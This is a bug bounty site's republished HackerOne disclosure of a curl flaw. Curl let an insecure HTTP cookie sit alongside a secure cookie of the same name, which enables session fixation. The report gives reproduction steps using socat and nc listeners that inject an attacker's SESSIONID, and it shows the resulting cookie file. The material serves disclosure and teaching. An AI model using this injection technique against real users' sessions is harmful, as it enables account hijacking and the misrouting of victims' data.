Skip to content
Account takeover Disclosed report Intermediate

Cookie injection from non-secure context

Curl accepted a non-secure cookie for a host that already had a secure cookie of the same name, so both cookies were later sent over HTTPS. An attacker who can serve HTTP for the same host could inject their own session identifier and fix the victim's session to an account they control.

nyymi Follow

Originally disclosed on HackerOne

  • Disclosed after 8 days

Summary:

Curl allows injecting cookies over insecure HTTP connection that will then be sent to the target site when connecting over HTTPS.

As documented in lib/cookie.c https://github.com/curl/curl/blob/a04f0b961333e1a19848d073d8c7db9c20b2a371/lib/cookie.c#L1039 this should not be possible:

            /*
             * A non-secure cookie may not overlay an existing secure cookie.
             * For an existing cookie "a" with path "/login", refuse a new
             * cookie "a" with for example path "/login/en", while the path
             * "/loginhelper" is ok.
             */

This will allow session fixation (CWE-384) attack where the attacker replaces the session of the victim with their own. If the victim performs for example upload operations the upload will be sent to the account controlled bit he attacker.

This attack requires that the application in question does or can be coaxed to make accesses to the same host over insecure HTTP connection. The attacker needs to either perform Man in the Middle attack to these insecure connections, or be able to host a HTTP server on another port on the same host.

Steps To Reproduce:

  1. Set up a HTTPS server that will respond to requests setting the SESSIONID cookie. This simulates the victim accessing the site normally. Note that the cookie has secure attribute:
echo -ne "HTTP/1.1 200 OK\r\nSet-Cookie: SESSIONID=victimstoken; secure\r\nContent-Length: 0\r\n\r\n" | socat STDIN OPENSSL-LISTEN:9999,commonname=somesite.tld,reuseaddr,verify=0,key=privkey.pem,cert=fullchain.pem
  1. Access the site with curl to simulate a victim login:
curl -c cookies.txt -b cookies.txt https://somesite.tld:9999/
  1. Simulate the attacker either performing a MitM attack or being able to host HTTP on another port on the same host:
echo -ne "HTTP/1.1 200 OK\r\nSet-Cookie: SESSIONID=hackerstoken; domain=somesite.tld\r\nContent-Length: 0\r\n\r\n" | nc -v -l -p 3333
  1. Simulate the victim visiting the attacker controlled content:
curl -c cookies.txt -b cookies.txt http://somesite.tld:3333/
  1. Start HTTPS server that will dump the Cookie headers sent by libcurl:
socat OPENSSL-LISTEN:9999,commonname=somesite.tld,reuseaddr,verify=0,key=privkey.pem,cert=fullchain.pem STDOUT
  1. Simulate the victim accessing the target site again:
curl -c cookies.txt -b cookies.txt https://somesite.tld:9999/

The following cookies are now sent by curl: Cookie: SESSIONID=victimstoken; SESSIONID=hackerstoken

The order the cookies appears to depend on the order of the lines in cookie store. Depending on how the victim site interpreted the multiple SESSIONID cookies the attacker may want to try to inject the cookie before login by the victim, or after the login.

After successful attack the cookie.txt looks like this:

# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

.somesite.tld    TRUE    /       FALSE   0       SESSIONID       hackerstoken
somesite.tld     FALSE   /       TRUE    0       SESSIONID       victimstoken

This is CWE-384: Session Fixation.

Impact

Cookie injection leading to CWE-384: Session Fixation and/or other similar attacks.

The original report as published on HackerOne, by nyymi. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the cookie store failed to enforce its own rule that a non-secure cookie must not overlay an existing secure cookie with the same name and path.

Impact

The victim's session could be fixed to the attacker's account, so actions such as uploads may land in the attacker's account, but only if the application also makes insecure HTTP requests to the same host and the attacker can intercept them or serve HTTP on another port.

What the attacker needed

App contacts same host over plain HTTP; attacker can MitM that HTTP traffic; or attacker serves HTTP on another port

How it was found

  1. Run an HTTPS server that sets a secure session cookie, simulating a normal visit.
  2. Use curl with a cookie jar to fetch that HTTPS site, simulating the victim logging in.
  3. Run an HTTP server on another port of the same host that sets a session cookie without the secure flag.
  4. Use curl with the same cookie jar to fetch that HTTP endpoint, simulating the victim visiting attacker content.
  5. Run an HTTPS server that prints incoming Cookie headers.
  6. Fetch the HTTPS site again with curl and observe both session cookies being sent.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A cookie is a small piece of data a website stores in a client to remember who you are. A 'secure' cookie is meant to travel only over encrypted HTTPS connections. Here curl kept a second, insecure cookie with the same name alongside the secure one, so the attacker's value could reach the site and the victim might end up logged in as the attacker.

What is Account takeover?

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.

More by nyymi

View all

51 more disclosed reports, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.